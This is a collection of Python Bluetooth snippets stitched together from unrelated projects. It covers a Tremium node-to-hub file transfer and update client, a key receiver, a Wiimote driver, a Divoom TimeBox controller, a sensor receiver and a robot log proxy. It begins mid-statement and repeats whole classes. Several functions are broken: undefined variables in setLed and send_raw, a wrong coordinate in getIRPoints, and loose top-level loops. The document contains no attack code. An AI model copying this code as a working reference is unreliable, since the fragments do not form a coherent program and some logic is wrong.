config_data["bluetooth-message-max-size"])
# logging completion
time_str = datetime.datetime.fromtimestamp(
time.time()).strftime('%Y-%m-%d_%H-%M-%S')
logging.info(
"{0} - NodeBluetoothClient successfully downloaded file ({1}) (socket timeout) from Hub\
".format(time_str, file_name))
# consider time out as : (no more available data)
# this is the worst way of checking download is complete
except BluetoothError:
pass
def _upload_file(self, file_name):
'''
Sends the specified file (from the node transfer folder) to the Hub
** lets exceptions bubble up
Parameters
----------
file_name (str) : name of upload file (must be in transfer folder)
'''
upload_file_path = os.path.join(
self.config_manager.config_data["node-file-transfer-dir"],
file_name)
try:
self._connect_to_server()
self.server_s.send(
bytes("STORE_FILE {}".format(file_name), 'UTF-8'))
# uploading specified file to the hub
with open(upload_file_path, "rb") as image_file_h:
data = image_file_h.read(
self.config_manager.
config_data["bluetooth-message-max-size"])
while data:
self.server_s.send(data)
data = image_file_h.read(
self.config_manager.
config_data["bluetooth-message-max-size"])
self.server_s.close()
# logging completion
time_str = datetime.datetime.fromtimestamp(
time.time()).strftime('%Y-%m-%d_%H-%M-%S')
logging.info(
"{0} - NodeBluetoothClient successfully uploaded file ({1}) to Hub\
".format(time_str, file_name))
except:
self.server_s.close()
raise
def _transfer_data_files(self):
'''
Transfers the contents of the data-transfer folder to the hub
1) copy the contents of the extracted data file (sensor data) to a temp file
2) create a new extracted data file (blank) for new data extraction (sensor data)
3) transfer/delete all data/log files to the Tremium Hub
'''
transfer_files = []
transfer_dir = self.config_manager.config_data[
"node-file-transfer-dir"]
transfer_file_name = self.config_manager.config_data[
"node-extracted-data-file"]
data_file_max_size = self.config_manager.config_data[
"node-data-file-max-size"]
archived_data_pattern_segs = self.config_manager.config_data[
"node-archived-data-file"].split(".")
# when the main data file is big enough transfer the contents to an other file
data_file_path = os.path.join(transfer_dir, transfer_file_name)
if os.path.isfile(data_file_path):
if os.stat(data_file_path).st_size > data_file_max_size:
# waiting for data file availability and locking it
while not self.cache.data_file_available():
time.sleep(0.1)
self.cache.lock_data_file()
# renaming the filled / main data file
time_str = datetime.datetime.fromtimestamp(
time.time()).strftime('%Y-%m-%d_%H-%M-%S')
archive_file_name = archived_data_pattern_segs[
0] + "-{}".format(
time_str) + "." + archived_data_pattern_segs[1]
archive_file_path = os.path.join(transfer_dir,
archive_file_name)
os.rename(data_file_path, archive_file_path)
# creating new main data file
open(data_file_path, "w").close()
# unlocking the data file
self.cache.unlock_data_file()
# collecting all (archived / ready for transfer) data files + log files
for element in os.listdir(transfer_dir):
element_path = os.path.join(transfer_dir, element)
if os.path.isfile(element_path):
is_log_file = element.endswith(".log")
is_archived_data = re.search(archived_data_pattern_segs[0],
element) is not None
is_full = os.stat(element_path).st_size > data_file_max_size
if (is_log_file or is_archived_data) and is_full:
transfer_files.append((element, element_path))
try:
# uploading transfer files to the Hub and deleting them from local storage
for file_info in transfer_files:
self._upload_file(file_info[0])
os.remove(file_info[1])
except Exception as e:
time_str = datetime.datetime.fromtimestamp(
time.time()).strftime('%Y-%m-%d_%H-%M-%S')
logging.error(
"{0} - NodeBluetoothClient failed while transfering data files : {1}"
.format(time_str, e))
raise
# return the names of files that were sent
return [file_info[0] for file_info in transfer_files]
def launch_maintenance(self):
'''
Launches the hub - node maintenance sequence
- transfers/purges data files (acquisition and logs)
- fetches available updates
- adds necessary entries in the image update file
'''
update_entries = []
archive_dir = self.config_manager.config_data["node-image-archive-dir"]
time_stp_pattern = self.config_manager.config_data[
"image-archive-pattern"]
docker_registry_prefix = self.config_manager.config_data[
"docker_registry_prefix"]
try:
# transfering data/log files to the hub
self._transfer_data_files()
# pulling available updates from the hub
update_files = self._check_available_updates()
for update_file in update_files:
# getting old image to be updated, if any
old_image_file = get_matching_image(update_file,
self.config_manager)
if old_image_file is not None:
# downloading update image from the Hub
self._get_update_file(update_file)
# deleting old image archive files (.tar and .tar.gz)
old_image_path = os.path.join(archive_dir, old_image_file)
try:
os.remove(old_image_path)
except:
pass
# adding update file entry
old_image_time_stp = re.search(time_stp_pattern,
old_image_file).group(3)
old_image_reg_path = docker_registry_prefix + old_image_file.split(
old_image_time_stp)[0][:-1]
update_image_time_stp = re.search(time_stp_pattern,
update_file).group(3)
update_image_reg_path = docker_registry_prefix + update_file.split(
update_image_time_stp)[0][:-1]
update_entries.append(old_image_reg_path + " " +
update_file + " " +
update_image_reg_path + "\n")
# if updates were pulled from the hub
if len(update_entries) > 0:
# halting the data collection
self.cache.stop_data_collection()
# logging the update entries
time_str = datetime.datetime.fromtimestamp(
time.time()).strftime('%Y-%m-%d_%H-%M-%S')
logging.info("{0} - NodeBluetoothClient writting out update entries : {1}".\
format(time_str, str(update_entries)))
# writing out the update entries
with open(
self.config_manager.
config_data["node-image-update-file"],
"w") as update_file_h:
for entry in update_entries:
update_file_h.write(entry)
update_file_h.write("End")
# logging maintenance success
time_str = datetime.datetime.fromtimestamp(
time.time()).strftime('%Y-%m-%d_%H-%M-%S')
logging.info(
"{0} - Node Bluetooth client successfully performed maintenance"
.format(time_str))
except Exception as e:
time_str = datetime.datetime.fromtimestamp(
time.time()).strftime('%Y-%m-%d_%H-%M-%S')
logging.error("{0} - Node Bluetooth client failed : {1}".format(
time_str, e))
def _recv_client_endpoint(client_socket: bluetooth.BluetoothSocket):
end_point_raw_length = client_socket.recv(4)
end_point_length = struct.unpack('I', end_point_raw_length)[0]
end_point = client_socket.recv(end_point_length)
return end_point.decode()
class BluetoothReceive:
def __init__(self, port=3, size=1024):
self.port = port
self.size = size
self.client_socket = None
self.stopped = False
@inlineCallbacks
def find_key(self, bt_mac, mac):
self.client_socket = BluetoothSocket(RFCOMM)
message = b""
try:
self.client_socket.setblocking(False)
try:
self.client_socket.connect((bt_mac, self.port))
except BluetoothError as be:
if be.args[0] == "(115, 'Operation now in progress')":
pass
else:
raise be
success = False
while not self.stopped and not success:
r, w, e = yield threads.deferToThread(select.select, [self.client_socket], [], [], 0.5)
if r:
log.info("Connection established")
self.client_socket.setblocking(True)
success = True
# try to receive until the sender closes the connection
try:
while True:
part_message = self.client_socket.recv(self.size)
message += part_message
except BluetoothError as be:
if be.args[0] == "(104, 'Connection reset by peer')":
log.info("Bluetooth connection closed, let's check if we downloaded the key")
else:
raise be
mac_key = fingerprint_from_keydata(message)
verified = None
if mac:
verified = mac_verify(mac_key.encode('ascii'), message, mac)
if verified:
success = True
else:
log.info("MAC validation failed: %r", verified)
success = False
message = b""
except BluetoothError as be:
if be.args[0] == "(16, 'Device or resource busy')":
log.info("Probably has been provided a partial bt mac")
elif be.args[0] == "(111, 'Connection refused')":
log.info("The sender refused our connection attempt")
elif be.args[0] == "(112, 'Host is down')":
log.info("The sender's Bluetooth is not available")
elif be.args[0] == "(113, 'No route to host')":
log.info("An error occurred with Bluetooth, if present probably the device is not powered")
else:
log.info("An unknown bt error occurred: %s" % be.args[0])
key_data = None
success = False
returnValue((key_data, success, be))
except Exception as e:
log.error("An error occurred connecting or receiving: %s" % e)
key_data = None
success = False
returnValue((key_data, success, e))
if self.client_socket:
self.client_socket.close()
returnValue((message.decode("utf-8"), success, None))
def stop(self):
self.stopped = True
if self.client_socket:
try:
self.client_socket.shutdown(socket.SHUT_RDWR)
self.client_socket.close()
except BluetoothError as be:
if be.args[0] == "(9, 'Bad file descriptor')":
log.info("The old Bluetooth connection was already closed")
else:
log.warning("An unknown bt error occurred: %s" % be.args[0])
try:
hc05 = nearby_devices.get("\r\n")
print(" Try connect to MAC ",hc05)
btsocket.connect((hc05, 1))
except bt.btcommon.BluetoothError as error:
print(" BluetoothError:", error)
btsocket.close()
print(" connected!");
while(1):
now = datetime.datetime.now()
filename = now.strftime("%d-%m-%y")+"_log.txt"
file = open(filename, 'a')
msg = btsocket.recv(1024)
print(msg)
try:
decoded = msg.decode('utf-8')
writer = file.write(decoded)
except OSError as oerr:
print("OS error: {0}".format(oerr))
continue
except ValueError as verr:
print("Value Error: {0}".format(verr))
continue
class Wiimote:
def __init__(self, addr):
self._addr = addr
self._inSocket = BluetoothSocket(L2CAP)
self._outSocket = BluetoothSocket(L2CAP)
self._connected = False
def __del__(self):
self.disconnect()
def _send(self, *data, **kwargs):
check_connection = True
if 'check_connection' in kwargs:
check_connection = kwargs['check_connection']
if check_connection and not self._connected:
raise IOError('No wiimote is connected')
self._inSocket.send(''.join(map(chr, data)))
def disconnect(self):
if self._connected:
self._inSocket.close()
self._outSocket.close()
self._connected = False
def connect(self, timeout=0):
if self._connected:
return None
self._inSocket.connect((self._addr, 0x13))
self._outSocket.connect((self._addr, 0x11))
self._inSocket.settimeout(timeout)
self._outSocket.settimeout(timeout)
# TODO give the choice of the mode to the user
# Set the mode of the data reporting of the Wiimote with the last byte of this sending
# 0x30 : Only buttons (2 bytes)
# 0x31 : Buttons and Accelerometer (3 bytes)
# 0x32 : Buttons + Extension (8 bytes)
# 0x33 : Buttons + Accel + InfraRed sensor (12 bytes)
# 0x34 : Buttons + Extension (19 bytes)
# 0x35 : Buttons + Accel + Extension (16 bytes)
# 0x36 : Buttons + IR sensor (10 bytes) + Extension (9 bytes)
# 0x37 : Buttons + Accel + IR sensor (10 bytes) + Extension (6 bytes)
# 0x3d : Extension (21 bytes)
# 0x3e / 0x3f : Buttons + Accel + IR sensor (36 bytes). Need two reports for a sigle data unit.
self._send(0x52, 0x12, 0x00, 0x33, check_connection=False)
# Enable the IR camera
# Enable IR Camera (Send 0x04 to Output Report 0x13)
# Enable IR Camera 2 (Send 0x04 to Output Report 0x1a)
# Write 0x08 to register 0xb00030
# Write Sensitivity Block 1 to registers at 0xb00000
# Write Sensitivity Block 2 to registers at 0xb0001a
# Write Mode Number to register 0xb00033
# Write 0x08 to register 0xb00030 (again)
# Put a sleep of 50ms to avoid a bad configuration of the IR sensor
# Sensitivity Block 1 is : 00 00 00 00 00 00 90 00 41
# Sensitivity Block 2 is : 40 00
# The mode number is 1 if there is 10 bytes for the IR.
# The mode number is 3 if there is 12 bytes for the IR.
# The mode number is 5 if there is 36 bytes for the IR.
time.sleep(0.050)
self._send(0x52, 0x13, 0x04, check_connection=False)
time.sleep(0.050)
self._send(0x52, 0x1a, 0x04, check_connection=False)
time.sleep(0.050)
self._send(0x52,
0x16,
0x04,
0xb0,
0x00,
0x30,
1,
0x08,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
check_connection=False)
time.sleep(0.050)
self._send(0x52,
0x16,
0x04,
0xb0,
0x00,
0x06,
1,
0x90,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
check_connection=False)
time.sleep(0.050)
self._send(0x52,
0x16,
0x04,
0xb0,
0x00,
0x08,
1,
0x41,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
check_connection=False)
time.sleep(0.050)
self._send(0x52,
0x16,
0x04,
0xb0,
0x00,
0x1a,
1,
0x40,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
check_connection=False)
time.sleep(0.050)
self._send(0x52,
0x16,
0x04,
0xb0,
0x00,
0x33,
1,
0x03,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
check_connection=False)
time.sleep(0.050)
self._send(0x52,
0x16,
0x04,
0xb0,
0x00,
0x30,
1,
0x08,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
check_connection=False)
self._connected = True
def vibrate(self, duration=1):
self._send(0x52, 0x15, 0x01)
time.sleep(duration)
self._send(0x52, 0x15, 0x00)
def setLed(self, binary):
self._send(0x52, 0x11, int(n << 4))
def _getData(self, check_connection=True):
if check_connection and not self._connected:
raise IOError('No wiimote is connected')
data = self._inSocket.recv(19)
if len(data) != 19:
raise IOError('Impossible to receive all data')
return list(map(ord, data))
def _checkButton(self, bit, mask):
return self._getData()[bit] & mask != 0
def buttonAPressed(self):
return self._checkButton(3, 0x08)
def buttonBPressed(self):
return self._checkButton(3, 0x04)
def buttonUpPressed(self):
return self._checkButton(2, 0x08)
def buttonDownPressed(self):
return self._checkButton(2, 0x04)
def buttonLeftPressed(self):
return self._checkButton(2, 0x01)
def buttonRightPressed(self):
return self._checkButton(2, 0x02)
def buttonPlusPressed(self):
return self._checkButton(2, 0x10)
def buttonMinusPressed(self):
return self._checkButton(3, 0x10)
def buttonHomePressed(self):
return self._checkButton(3, 0x80)
def buttonOnePressed(self):
return self._checkButton(3, 0x02)
def buttonTwoPressed(self):
return self._checkButton(3, 0x01)
# 0x80 means no movement
def getAcceleration(self):
d = self._getData()
ax = d[4] << 2 | d[2] & (0x20 | 0x40)
ay = d[5] << 1 | d[3] & 0x20
az = d[6] << 1 | d[3] & 0x40
return (ax, ay, az)
def getIRPoints(self):
d = self._getData()
x1 = d[7] | ((d[9] & (0b00110000)) << 4)
y1 = d[8] | ((d[9] & (0b11000000)) << 2)
i1 = d[9] & 0b00001111
x2 = d[10] | ((d[12] & (0b00110000)) << 4)
y2 = d[11] | ((d[12] & (0b11000000)) << 2)
i2 = d[12] & 0b00001111
x3 = d[13] | ((d[15] & (0b00110000)) << 4)
y3 = d[14] | ((d[15] & (0b11000000)) << 2)
i3 = d[15] & 0b00001111
x4 = d[16] | ((d[18] & (0b00110000)) << 4)
y4 = d[17] | ((d[18] & (0b11000000)) << 2)
i4 = d[18] & 0b00001111
return [(x1, y2, i1), (x2, y2, i2), (x3, y3, i3), (x4, y4, i4)]
class BluetoothReceive:
def __init__(self, port=3, size=1024):
self.port = port
self.size = size
self.client_socket = None
self.stopped = False
@inlineCallbacks
def find_key(self, bt_mac, mac):
self.client_socket = BluetoothSocket(RFCOMM)
message = b""
try:
self.client_socket.setblocking(False)
try:
self.client_socket.connect((bt_mac, self.port))
except BluetoothError as be:
if be.args[0] == "(115, 'Operation now in progress')":
pass
else:
raise be
success = False
while not self.stopped and not success:
r, w, e = yield threads.deferToThread(select.select, [self.client_socket], [], [], 0.5)
if r:
log.info("Connection established")
self.client_socket.setblocking(True)
success = True
# try to receive until the sender closes the connection
try:
while True:
part_message = self.client_socket.recv(self.size)
log.debug("Read %d bytes: %r", len(part_message), part_message)
message += part_message
except BluetoothError as be:
if be.args[0] == "(104, 'Connection reset by peer')":
log.info("Bluetooth connection closed, let's check if we downloaded the key")
else:
raise be
mac_key = fingerprint_from_keydata(message)
verified = None
if mac:
verified = mac_verify(mac_key.encode('ascii'), message, mac)
if verified:
success = True
else:
log.info("MAC validation failed: %r", verified)
success = False
message = b""
except BluetoothError as be:
if be.args[0] == "(16, 'Device or resource busy')":
log.info("Probably has been provided a partial bt mac")
elif be.args[0] == "(111, 'Connection refused')":
log.info("The sender refused our connection attempt")
elif be.args[0] == "(112, 'Host is down')":
log.info("The sender's Bluetooth is not available")
elif be.args[0] == "(113, 'No route to host')":
log.info("An error occurred with Bluetooth, if present probably the device is not powered")
else:
log.info("An unknown bt error occurred: %s" % be.args[0])
key_data = None
success = False
returnValue((key_data, success, be))
except Exception as e:
log.error("An error occurred connecting or receiving: %s" % e)
key_data = None
success = False
returnValue((key_data, success, e))
if self.client_socket:
self.client_socket.close()
returnValue((message.decode("utf-8"), success, None))
def stop(self):
self.stopped = True
if self.client_socket:
try:
self.client_socket.shutdown(socket.SHUT_RDWR)
self.client_socket.close()
except BluetoothError as be:
if be.args[0] == "(9, 'Bad file descriptor')":
log.info("The old Bluetooth connection was already closed")
else:
log.exception("An unknown bt error occurred")
class TimeBox:
"""Class TimeBox encapsulates the TimeBox communication."""
DEFAULTHOST = "11:75:58:48:2F:DA"
COMMANDS = {
"switch radio": 0x05,
"set volume": 0x08,
"get volume": 0x09,
"set mute": 0x0a,
"get mute": 0x0b,
"set date time": 0x18,
"set image": 0x44,
"set view": 0x45,
"set animation frame": 0x49,
"get temperature": 0x59,
"get radio frequency": 0x60,
"set radio frequency": 0x61
}
socket = None
messages = None
message_buf = []
currentHost = None
def __init__(self, logger, host):
self.messages = TimeBoxMessages()
self.divoomImage = DivoomImage()
self.logger = logger
self.host = host
def connect(self, host=None, port=4):
"""Open a connection to the TimeBox."""
#try:
# Create the client socket
# if host is None:
# self.logger.info('Host is none, so using default..')
# host = self.DEFAULTHOST
self.currentHost = self.host
self.logger.info('Connecting to {0}'.format(self.currentHost))
#print("connecting to %s at %s" % (self.host, self.port))
self.socket = BluetoothSocket(RFCOMM)
self.socket.connect((self.currentHost, port))
self.socket.setblocking(0)
#except Exception as error:
# self.logger.exception('Error while connecting to timebox')
def close(self):
"""Closes the connection to the TimeBox."""
self.socket.close()
def receive(self, num_bytes=1024):
"""Receive n bytes of data from the TimeBox and put it in the input buffer.
Returns the number of bytes received."""
ready = select.select([self.socket], [], [], 0.1)
if ready[0]:
data = self.socket.recv(num_bytes)
self.message_buf += data
return len(data)
else:
return 0
def send_raw(self, data):
"""Send raw data to the TimeBox."""
while (1):
msg = self.messages.make_message(payload)
try:
return self.socket.send(data)
except Exception as error:
print(error)
self.logger.exception(
'Error while sending paylod, reconnecting...')
time.sleep(5)
self.connect(self.currentHost)
def send_payload(self, payload):
"""Send raw payload to the TimeBox. (Will be escaped, checksumed and
messaged between 0x01 and 0x02."""
while (1):
self.logger.info('Sending paylod')
msg = self.messages.make_message(payload)
try:
return self.socket.send(bytes(msg))
except Exception as error:
print(error)
self.logger.exception(
'Error while sending paylod, reconnecting...')
time.sleep(5)
self.connect(self.currentHost)
def set_time(self, time=None):
if not time:
time = datetime.datetime.now()
args = []
args.append(int(str(time.year)[2:]))
args.append(int(str(time.year)[0:2]))
args.append(int(time.month))
args.append(int(time.day))
args.append(int(time.hour))
args.append(int(time.minute))
args.append(int(time.second))
args.append(0)
self.send_command("set date time", args)
def send_command(self, command, args=None):
"""Send command with optional arguments"""
if args is None:
args = []
if isinstance(command, str):
command = self.COMMANDS[command]
length = len(args) + 3
length_lsb = length & 0xff
length_msb = length >> 8
payload = [length_lsb, length_msb, command] + args
self.send_payload(payload)
def decode(self, msg):
"""remove leading 1, trailing 2 and checksum and un-escape"""
return self.messages.decode(msg)
def has_message(self):
"""Check if there is a complete message *or leading garbage data* in the input buffer."""
if len(self.message_buf) == 0:
return False
if self.message_buf[0] != 0x01:
return True
#endmarks = [x for x in self.message_buf if x == 0x02]
#return len(endmarks) > 0
return 0x02 in self.message_buf
def buffer_starts_with_garbage(self):
"""Check if the input buffer starts with data other than a message."""
if len(self.message_buf) == 0:
return False
return self.message_buf[0] != 0x01
def remove_garbage(self):
"""Remove data from the input buffer that is not the start of a message."""
pos = self.message_buf.index(
0x01) if 0x01 in self.message_buf else len(self.message_buf)
res = self.message_buf[0:pos]
self.message_buf = self.message_buf[pos:]
return res
def remove_message(self):
"""Remove a message from the input buffer and return it. Assumes it has been checked that
there is a complete message without leading garbage data"""
if not 0x02 in self.message_buf:
raise Exception('There is no message')
pos = self.message_buf.index(0x02) + 1
res = self.message_buf[0:pos]
self.message_buf = self.message_buf[pos:]
return res
def drop_message_buffer(self):
"""Drop all dat currently in the message buffer,"""
self.message_buf = []
def set_static_image(self, image):
"""Set the image on the TimeBox"""
msg = self.messages.static_image_message(image)
self.socket.send(bytes(msg))
def set_dynamic_images(self, images, frame_delay=1):
"""Set the image on the TimeBox"""
fnum = 0
for img in images:
msg = self.messages.dynamic_image_message(img, fnum, frame_delay)
fnum = fnum + 1
self.socket.send(bytes(msg))
def show_temperature(self, color=None):
"""Show temperature on the TimeBox in Celsius"""
args = [0x01, 0x00]
if not color is None:
args += color
self.send_command("set view", args)
def show_clock(self, color=None):
"""Show clock on the TimeBox in the color"""
args = [0x00, 0x01]
if not color is None:
args += color
self.send_command("set view", args)
def disable_display(self):
"""Disable Display on the TimeBox"""
args = [0x02, 0x01]
self.send_command("set view", args)
def show_string(self, texts, font=None):
"""
Display text, call is blocking
"""
if (type(texts) is not list) or (len(texts) == 0) or (type(texts[0])
is not tuple):
raise Exception("a list of tuple is expected")
img_result = self.divoomImage.create_default_image((0, 0))
for txt, color in texts:
img_result = self.divoomImage.draw_text_to_image(txt,
color,
empty_start=False,
empty_end=False,
font=font)
self.set_static_image(self.divoomImage.build_img(img_result))
def show_text(self, txt, speed=20, font=None):
"""
Display text & scroll, call is blocking
"""
if (type(txt) is not list) or (len(txt) == 0) or (type(txt[0])
is not tuple):
raise Exception("a list of tuple is expected")
im = self.divoomImage.draw_multiple_to_image(txt, font)
slices = self.divoomImage.horizontal_slices(im)
for i, s in enumerate(slices):
#s.save("./debug/%s.bmp"%i)
self.set_static_image(self.divoomImage.build_img(s))
time.sleep(1.0 / speed)
def show_text2(self, txt, font=None):
"""
Use dynamic_image_message to display scolling text
Cannot go faster than 1fps
"""
if (type(txt) is not list) or (len(txt) == 0) or (type(txt[0])
is not tuple):
raise Exception("a list of tuple is expected")
imgs = []
im = self.divoomImage.draw_multiple_to_image(txt, font)
slices = self.divoomImage.horizontal_slices(im)
for i, s in enumerate(slices):
# s.save("./debug/%s.bmp"%i)
imgs.append(self.divoomImage.build_img(s))
print(len(imgs))
self.set_dynamic_images(imgs)
def show_static_image(self, path):
self.set_static_image(self.divoomImage.load_image(path))
def show_animated_image(self, path, frame_delay=1):
self.set_dynamic_images(self.divoomImage.load_gif_frames(path),
frame_delay)
def clear_input_buffer(self):
"""Read all input from TimeBox and remove from buffer. """
while self.receive() > 0:
self.drop_message_buffer()
def clear_input_buffer_quick(self):
"""Quickly read most input from TimeBox and remove from buffer. """
while self.receive(512) == 512:
self.drop_message_buffer()
class DataReceiver(QtCore.QThread):
receivedData = pyqtSignal(SendingData)
consoleOutText = pyqtSignal(str)
def __init__(self, mac):
super(DataReceiver, self).__init__()
self.MAC = mac
self.message = ""
self.data = ""
self.socket = BluetoothSocket(RFCOMM)
self.dallas_temp_data = []
self.dht_temp_data = []
self.dht_humid_data = []
self.sound_data = []
self.time_list = []
self.startTime = 0
self.data_to_send = SendingData(self.MAC)
def run(self):
self.startTime = int(time.time())
try:
print("Connecting to {}".format(self.MAC))
self.consoleOutText.emit("[ {} ]: Connecting to {}\n".format(
datetime.now().strftime("%Y-%m-%d %H:%M:%S"), self.MAC))
self.socket.connect((self.MAC, PORT))
print("Connected!")
self.consoleOutText.emit("[ {} ]: Connected!\n".format(
datetime.now().strftime("%Y-%m-%d %H:%M:%S")))
except BluetoothError:
self.consoleOutText.emit(
"[ {} ]: An error occured while connecting to {} because of bt.btcommon.BluetoothError\n"
.format(datetime.now().strftime("%Y-%m-%d %H:%M:%S"),
self.MAC))
except OSError:
self.consoleOutText.emit(
"[ {} ]: An error occured while connecting to {} because of OSError. Check Bluetooth setting.\n"
.format(datetime.now().strftime("%Y-%m-%d %H:%M:%S"),
self.MAC))
try:
while True:
self.data = self.socket.recv(1024).decode().split("\n")[0]
if "7P5uk6fbZWTkXxr67P5uk6fbZWTkXxr6;" in self.data:
self.data = self.data.split(";")[1:]
self.data_to_send.updateSendingData(
self.data[0], self.data[2], self.data[4],
int(time.time()) - self.startTime)
print("[{}]: {} : {}".format(
datetime.now().strftime("%Y-%m-%d %H:%M:%S"), self.MAC,
self.data))
self.consoleOutText.emit("[{}]: {} : {}\n".format(
datetime.now().strftime("%Y-%m-%d %H:%M:%S"), self.MAC,
self.data))
self.receivedData.emit(self.data_to_send)
sleep(0.85)
except KeyboardInterrupt:
self.consoleOutText.emit(
"[ {} ]: Closing connection to {}\n".format(
datetime.now().strftime("%Y-%m-%d %H:%M:%S"), self.MAC))
self.socket.close()
self.consoleOutText.emit("[ {} ]: Connection closed!\n".format(
datetime.now().strftime("%Y-%m-%d %H:%M:%S")))
except SystemExit:
self.consoleOutText.emit(
"[ {} ]: Closing connection to {}\n".format(
datetime.now().strftime("%Y-%m-%d %H:%M:%S"), self.MAC))
self.socket.close()
self.consoleOutText.emit("[ {} ]: Connection closed!\n".format(
datetime.now().strftime("%Y-%m-%d %H:%M:%S")))
class rfcomm_client:
def __init__(self):
self.server_dbaddr = "BC:83:85:F0:56:F4"
self.server_uuid = "4E989E9F-F81A-4EE8-B9A7-BB74D5CD3C96" # service uuid generated by some web service.
self.sleep_time = 3.0
self.service_matches = None
self.socket = None
def close_socket(self):
try:
if None != self.socket:
print("close socket.")
self.socket.close()
self.socket = None
except:
print("Exception occured : close_socket")
def find_server(self):
print("search bluetooth devices for the rfcomm Server service")
try:
self.service_matches = find_service(uuid=self.server_uuid,
address=self.server_dbaddr)
if 0 < len(self.service_matches):
print("server service found.")
return True
else:
print("couldn\'t find the server service.")
except:
print("Exception occured : find_server")
return False
def connect_to_server(self):
if 0 == len(self.service_matches):
return
self.close_socket()
try:
first_match = self.service_matches[0]
port = first_match["port"]
name = first_match["name"]
host = first_match["host"]
print("connecting... name:%s host:%s port:%s" % (name, host, port))
self.socket = BluetoothSocket(RFCOMM)
self.socket.connect((host, port))
print("connected.")
return True
except:
self.close_socket()
print("Exception occured : connect_to_server")
return False
def find_and_connect_to_server(self):
while True:
print("--------------------------------------------------")
print("find server")
if True == self.find_server():
print("--------------------------------------------------")
print("connect to server")
if True == self.connect_to_server():
return True
print("--------------------------------------------------")
print("retrying...")
time.sleep(self.sleep_time)
return False
def loop(self):
try:
print("--------------------------------------------------")
print("message loop start.")
while True:
data = self.socket.recv(1024)
if len(data) == 0:
print("connection close : loop")
self.close_socket()
break
print("received [%s]" % data)
self.socket.send("received.\n")
except:
self.close_socket()
print("Exception occured : loop")
def run(self):
while True:
if True == self.find_and_connect_to_server():
self.loop()
print("rfcomm_client exit.")
return
import signal
from bluetooth import BluetoothSocket, RFCOMM
def parsa_data(data):
while ("{" in data and "}" in data):
print(data[data.find('{'):data.find('}') + 1])
data = data[data.find('}') + 1:]
return data
def finish_up(signum, frame):
signal.signal(signal.SIGINT, original_sigint)
sock.close()
original_sigint = signal.getsignal(signal.SIGINT)
signal.signal(signal.SIGINT, finish_up)
sock = BluetoothSocket(RFCOMM)
sock.connect(("98:D3:32:30:AB:5C", 1))
data = sock.recv(165)
data = data[data.find('}') + 1:]
while True:
data += sock.recv(165)
data = parsa_data(data)
print(data)
sock.close()
while time.time() - t1 < 60:
try:
rfcomm.settimeout(None)
received = rfcomm.recv(2**16)
print(time.time() -t2, len(received))
t2 = time.time()
#time.sleep(0.001)
except BluetoothError as error:
if str(error) == 'timed out':
print('time out')
else:
raise
return
if __name__ == '__main__':
#tm_enable()
#time.sleep(5)
#tm_read()
#rfcomm.close()
rfcomm = BluetoothSocket(RFCOMM)
#rfcomm.connect(('98:D3:31:F6:1C:51', 1)) # white
rfcomm.connect(('98:D3:31:70:13:AB', 1)) # green
rfcomm.settimeout(0.01)
while (True):
data = rfcomm.recv(2**16)
print(data)
class Proxy(Agent):
def on_init(self):
self.log = []
self.buffer = b''
self.log_filter = None
self.filtered = None
self.spinete_pub = self.bind('PUB',
alias='spinete',
transport='tcp',
serializer='raw',
addr='127.0.0.1:5000')
def setup(self, address, port):
self.rfcomm = BluetoothSocket(RFCOMM)
self.rfcomm.connect((address, port))
self.rfcomm.settimeout(0.01)
self.each(0, 'receive')
def filter_next(self, level=None, function=None):
self.log_filter = LogFilter(level=level, function=function)
def wait_filtered(self, timeout=0.5):
t0 = time.time()
while True:
self.receive()
if self.filtered:
break
if time.time() - t0 > timeout:
print('`wait_filtered` timed out!')
break
result = self.filtered
self.filtered = None
self.log_filter = None
return result
def publish(self, log):
body = log[-1]
if not body.startswith('PUB'):
return
fields = body.split(',')
if fields[1] != 'line':
raise NotImplementedError()
print(fields)
self.send('spinete', pickle.dumps((fields[2], log[0], fields[3])))
def process_received(self, received):
self.buffer += received
if b'\n' not in self.buffer:
return 0
splits = self.buffer.split(b'\n')
for message in splits[:-1]:
fields = message.split(b',')
log = [x.decode('utf-8') for x in fields[:4]]
try:
log[0] = float(log[0])
except ValueError:
pass
body = b','.join(fields[4:])
if not body.startswith(b'RAW'):
body = body.decode('utf-8')
else:
raise NotImplementedError()
log = tuple(log + [body])
if log[1] == 'ERROR':
print(log)
if log_matches_filter(log, self.log_filter):
self.filtered = log
self.log_filter = None
self.log.append(log)
self.publish(log)
self.buffer = splits[-1]
return len(splits) - 1
def send_bt(self, message):
for retry in range(10):
try:
self.rfcomm.settimeout(1.)
self.rfcomm.send(message)
except Exception as error:
print_exc()
# Wait for the robot ACK
t0 = time.time()
while (time.time() - t0 < 0.1):
received = self.receive()
for i in range(received):
log = self.log[-1 - i]
body = log[-1]
if log[1] != 'DEBUG':
continue
if 'Processing' not in body:
continue
if body != 'Processing "%s"' % message.strip('\0'):
break
return True
print('Command "%s" unsuccessful!' % message)
return False
def receive(self):
try:
self.rfcomm.settimeout(0.01)
received = self.rfcomm.recv(1024)
return self.process_received(received)
except BluetoothError as error:
if str(error) != 'timed out':
raise
return 0
def tail(self, N):
return self.log[-N:]
def last_log_time(self):
if not self.log:
return 0
return float(self.log[-1].split(b',')[0])
def get_battery_voltage(self):
self.filter_next(function='log_battery_voltage')
self.send_bt('battery\0')
return float(self.wait_filtered()[-1])
def get_configuration_variables(self):
self.filter_next(function='log_configuration_variables')
self.send_bt('configuration_variables\0')
return json.loads(self.wait_filtered()[-1])
class Wiimote:
def __init__(self, addr):
self._addr = addr
self._inSocket = BluetoothSocket(L2CAP)
self._outSocket = BluetoothSocket(L2CAP)
self._connected = False
def __del__(self):
self.disconnect()
def _send(self, *data, **kwargs):
check_connection = True
if "check_connection" in kwargs:
check_connection = kwargs["check_connection"]
if check_connection and not self._connected:
raise IOError("No wiimote is connected")
self._inSocket.send("".join(map(chr, data)))
def disconnect(self):
if self._connected:
self._inSocket.close()
self._outSocket.close()
self._connected = False
def connect(self, timeout=0):
if self._connected:
return None
self._inSocket.connect((self._addr, 0x13))
self._outSocket.connect((self._addr, 0x11))
self._inSocket.settimeout(timeout)
self._outSocket.settimeout(timeout)
